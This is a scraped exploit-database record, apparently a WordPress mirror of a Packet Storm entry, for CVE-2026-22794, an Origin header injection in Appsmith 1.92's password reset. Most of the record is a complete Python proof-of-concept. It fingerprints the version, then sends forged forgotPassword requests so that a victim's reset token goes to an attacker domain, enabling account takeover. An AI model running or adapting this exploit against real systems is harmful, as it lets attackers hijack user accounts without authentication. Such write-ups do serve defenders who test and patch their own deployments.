{“lastseen”:”2026-02-02T17:00:05″,”description”:”A critical vulnerability in Appsmith version 1.92 allows an unauthenticated attacker to manipulate the Origin HTTP header during the password reset process. Due to improper trust in client\u2011supplied headers, Appsmith constructs password reset links…”,”published”:”2026-02-02T00:00:00″,”modified”:”2026-02-02T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Appsmith 1.92 Origin Header Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:214667″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-22794″],”sourceData”:”=============================================================================================================================================\\n | # Title : Appsmith 1.92 Origin Header Injection |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.1 (64 bits) |\\n | # Vendor : https:\/\/www.appsmith.com\/ |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/214539\/ \\u0026 CVE-2026-22794\\n \\n [+] Summary : A critical vulnerability in Appsmith (versions 1.92) allows an unauthenticated attacker to manipulate the Origin HTTP header during the password reset process. \\n Due to improper trust in client\u2011supplied headers, Appsmith constructs password reset links based on the injected origin. This enables an attacker to hijack password \\n \\t\\t\\t\\t reset tokens and perform full account takeover without authentication, simply by triggering a reset request for a known user email. \\n The issue affects the \/api\/v1\/users\/forgotPassword endpoint and can be exploited remotely.\\n \\n \\n [+] POC : python poc.py\\n \\n \\n #!\/usr\/bin\/env python3\\n \\n import argparse\\n import requests\\n import json\\n import re\\n \\n def check_vulnerable(target_url):\\n headers = {\\n \\”User-Agent\\”: \\”Mozilla\/5.0 (compatible; ExploitPoC\/1.0)\\”\\n }\\n \\n try:\\n r = requests.get(\\n target_url.rstrip(‘\/’) + \\”\/\\”,\\n headers=headers,\\n timeout=10,\\n verify=False\\n )\\n \\n if r.status_code == 200 and \\”Appsmith\\” in r.text:\\n version_match = re.search(\\n r\\”parseConfig\\\\(‘v([0-9]+\\\\.[0-9]+)’\\\\)\\”,\\n r.text\\n )\\n \\n if version_match:\\n try:\\n version = float(version_match.group(1))\\n except ValueError:\\n print(\\”[?] Version parsing failed – assuming vulnerable\\”)\\n return True\\n \\n if version \\u003c= 1.92:\\n print(f\\”[+] Target is vulnerable! Version: v{version}\\”)\\n return True\\n else:\\n print(f\\”[-] Target is patched (version: v{version})\\”)\\n return False\\n else:\\n print(\\”[?] Version not found – assuming vulnerable if Appsmith detected\\”)\\n return True\\n else:\\n print(\\”[-] Not an Appsmith instance or unreachable\\”)\\n return False\\n \\n except Exception as e:\\n print(f\\”[-] Error checking: {e}\\”)\\n return False\\n \\n \\n def exploit(target_url, email, evil_domain):\\n vuln_path = \\”\/api\/v1\/users\/forgotPassword\\”\\n \\n headers = {\\n \\”Origin\\”: f\\”https:\/\/{evil_domain}\\”,\\n \\”Content-Type\\”: \\”application\/json\\”,\\n \\”User-Agent\\”: \\”Mozilla\/5.0 (compatible; ExploitPoC\/1.0)\\”\\n }\\n \\n payload = {\\n \\”email\\”: email\\n }\\n \\n full_url = f\\”{target_url.rstrip(‘\/’)}{vuln_path}\\”\\n \\n print(f\\”[*] Sending malicious reset request to: {full_url}\\”)\\n print(f\\”[*] Target email: {email}\\”)\\n print(f\\”[*] Injected Origin: https:\/\/{evil_domain}\\”)\\n \\n try:\\n r = requests.post(\\n full_url,\\n headers=headers,\\n json=payload,\\n timeout=10,\\n verify=False\\n )\\n \\n if r.status_code in [200, 201, 202] and \\”success\\” in r.text.lower():\\n print(f\\”[+] Exploit succeeded! Status: {r.status_code}\\”)\\n print(\\n f\\”[+] Check email for reset link \u2014 it should point to your evil domain \\”\\n f\\”(e.g., https:\/\/{evil_domain}\/… )\\”\\n )\\n print(\\”[+] If user clicks, token leaks to your server \u2192 takeover account.\\”)\\n \\n if r.text.strip():\\n try:\\n print(\\”\\\\nResponse body:\\\\n\\” + \\”-\\” * 60)\\n print(json.dumps(r.json(), indent=4))\\n print(\\”-\\” * 60)\\n except Exception:\\n print(\\”[!] Response is not valid JSON\\”)\\n \\n else:\\n print(f\\”[-] Failed – Status: {r.status_code} (may be patched or invalid email)\\”)\\n print(r.text[:500])\\n \\n except Exception as e:\\n print(f\\”[-] Error: {e}\\”)\\n \\n \\n if __name__ == \\”__main__\\”:\\n parser = argparse.ArgumentParser(\\n description=\\”CVE-2026-22794 PoC – Appsmith Origin Injection by indoushka\\”\\n )\\n parser.add_argument(\\n \\”–target\\”,\\n required=True,\\n help=\\”Target Appsmith URL (e.g. https:\/\/appsmith.target.com)\\”\\n )\\n parser.add_argument(\\n \\”–email\\”,\\n help=\\”Target user email (e.g. victim@company.com) – required for exploit\\”\\n )\\n parser.add_argument(\\n \\”–evil_domain\\”,\\n help=\\”Your attacker domain (e.g. evil.com) – required for exploit\\”\\n )\\n parser.add_argument(\\n \\”–check\\”,\\n action=\\”store_true\\”,\\n help=\\”Check if vulnerable without exploiting\\”\\n )\\n \\n args = parser.parse_args()\\n \\n if args.check:\\n check_vulnerable(args.target)\\n else:\\n if not args.email or not args.evil_domain:\\n parser.error(\\”–email and –evil_domain are required for exploitation\\”)\\n exploit(args.target, args.email, args.evil_domain)\\n \\n Greetings to :============================================================\\n jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|\\n ==========================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/214667″,”cvss”:{“score”:9.6,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:R\/S:C\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/214667\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-02T17:00:05″,”description”:”A critical vulnerability in Appsmith version 1.92 allows an unauthenticated attacker to manipulate the Origin HTTP header during the password reset process. Due to improper…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,62,12,13,53,7,11,5],"class_list":["post-38541","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-96","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n